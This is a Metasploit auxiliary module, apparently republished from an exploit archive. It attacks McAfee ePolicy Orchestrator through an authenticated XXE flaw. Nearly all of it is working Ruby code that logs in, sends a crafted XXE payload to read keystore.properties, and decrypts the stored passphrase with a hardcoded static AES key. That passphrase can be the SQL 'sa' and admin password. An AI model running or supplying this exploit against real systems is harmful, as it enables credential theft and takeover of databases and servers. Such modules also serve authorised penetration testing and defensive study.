McAfee ePolicy Orchestrator Authenticated XXE Credential Exposure

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'openssl'  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure',  
'Description' => %q{  
This module will exploit an authenticated XXE vulnerability to read the keystore.properties  
off of the filesystem. This properties file contains an encrypted password that is set during  
installation. What is interesting about this password is that it is set as the same password  
as the database 'sa' user and of the admin user created during installation. This password  
is encrypted with a static key, and is encrypted using a weak cipher at that (ECB). By default,  
if installed with a local SQL Server instance, the SQL server is listening on all interfaces.  
  
Recovering this password allows an attacker to potentially authenticate as the 'sa' SQL Server  
user in order to achieve remote command execution with permissions of the database process. If  
the administrator has no changed the password for the initially created account since installation,  
the attacker also now has the password for this account. By default, 'admin' is recommended.  
  
Any user account can be used to exploit this, all that is needed is a pair of credentials.  
  
The most data that can be successfully retrieved is 255 characters due to length restrictions  
on the field used to perform the XXE attack.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Brandon Perry <bperry.volatile[at]gmail.com>', #metasploit module  
],  
'References' =>  
[  
],  
'DisclosureDate' => ''  
))  
  
register_options(  
[  
Opt::RPORT(8443),  
OptBool.new('SSL', [true, 'Use SSL', true]),  
OptString.new('TARGETURI', [ true, "Base ePO directory path", '/']),  
OptString.new('FILEPATH', [true, "The filepath to read on the server", "C:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties"]),  
OptString.new('USERNAME', [true, "The username to authenticate with", "username"]),  
OptString.new('PASSWORD', [true, "The password to authenticate with", "password"])  
], self.class)  
  
end  
  
def run  
key = "\x5E\x9C\x3E\xDF\xE6\x25\x84\x36\x66\x21\x93\x80\x31\x5A\x29\x33" #static key used  
  
aes = OpenSSL::Cipher::Cipher.new('AES-128-ECB') # ecb, bad bad tsk  
aes.decrypt  
aes.padding=1  
aes.key = key  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do')  
})  
  
cookie = res.get_cookies  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'core', 'j_security_check'),  
'method' => 'POST',  
'vars_post' => {  
'j_username' => datastore['USERNAME'],  
'j_password' => datastore['PASSWORD']  
},  
'cookie' => cookie  
})  
  
cookie = res.get_cookies  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do'),  
'cookie' => cookie  
})  
  
if res.code != 302  
fail_with(Failure::Unknown, 'Authentication failed')  
end  
  
cookie = res.get_cookies  
  
#This vuln requires a bit of setup before we can exploit it  
  
print_status("Setting up some things...")  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'core', 'orionNavigationLogin.do'),  
'cookie' => cookie  
})  
  
auth_token = $1 if res.body =~ /id="orion.user.security.token" value="(.*)"\/>/  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'core', 'orionTab.do'),  
'vars_get' => {  
'sectionId' => 'orion.automation',  
'tabId' => 'orion.tasklog',  
'orion.user.security.token' => auth_token  
},  
'cookie' => cookie  
})  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'core', 'loadTableData.do'),  
'vars_get' => {  
'datasourceAttr' => 'scheduler.tasklog.datasource.attr',  
'filter' => 'scheduler.tasklog.filter.day',  
'secondaryFilter' => '',  
'tableCellRendererAttr' => 'taskLogCellRenderer',  
'count' => 44,  
'sortProperty' => 'OrionTaskLogTask.StartDate',  
'sortOrder' => 1,  
'id' => 'taskLogTable'  
},  
'cookie' => cookie  
})  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'),  
'vars_get' => {  
'datasourceAttr' => 'scheduler.tasklog.datasource.attr',  
'tableId' => 'taskLogTable',  
'orion.user.security.token' => auth_token  
},  
'cookie' => cookie  
})  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'core', 'orionTableUpdateState.do'),  
'method' => 'POST',  
'vars_post' => {  
'dataSourceAttr' => 'scheduler.tasklog.datasource.attr',  
'tableId' => 'taskLogTable',  
'columnWidths' => '285,285,285,285,285,285,285,285',  
'sortColumn' => 'OrionTaskLogTask.StartDate',  
'sortOrder' => '1',  
'showFilters' => 'true',  
'currentIndex' => 0,  
'orion.user.security.token' => auth_token,  
'ajaxMode' => 'standard'  
},  
'cookie' => cookie  
})  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'core', 'loadDisplayType.do'),  
'method' => 'POST',  
'vars_post' => {  
'displayType' => 'text_lookup',  
'operator' => 'eq',  
'propKey' => 'OrionTaskLogTask.Name',  
'instanceId' => 0,  
'orion.user.security.token' => auth_token,  
'ajaxMode' => 'standard'  
},  
'cookie' => cookie  
})  
  
print_status("Sending payload...")  
  
xxe = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///'+datastore['FILEPATH']+'" >]><conditions><condition grouping="or"><prop-key>OrionTaskLogTaskMessage.Message</prop-key><op-key>eq</op-key><value>&xxe;</value></condition></conditions>'  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'core', 'orionUpdateTableFilter.do'),  
'method' => 'POST',  
'vars_post' => {  
'orion.user.security.token' => auth_token,  
'datasourceAttr' => 'scheduler.tasklog.datasource.attr',  
'tableId' => 'taskLogTable',  
'conditionXML' => xxe,  
'secondaryFilter' => '',  
'op' => 'eq',  
'ajaxMode' => 'standard'  
},  
'cookie' => cookie  
})  
  
print_status("Getting encrypted passphrase value from keystore.properties file...")  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'),  
'vars_get' => {  
'datasourceAttr' => 'scheduler.tasklog.datasource.attr',  
'tableId' => 'taskLogTable',  
'orion.user.security.token' => auth_token  
},  
'cookie' => cookie  
})  
  
passphrase = $1 if res.body =~ /passphrase=(.*?)\\u003/  
  
passphrase = passphrase.gsub('\\\\=', '=').gsub("\\u002f", "/").gsub("\\u002b", "+")  
  
print_status("Base64 encoded encrypted passphrase: " + passphrase)  
  
passphrase = aes.update(Rex::Text.decode_base64(passphrase)) + aes.final  
  
print_good("The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: " + passphrase)  
  
end  
end  
  
`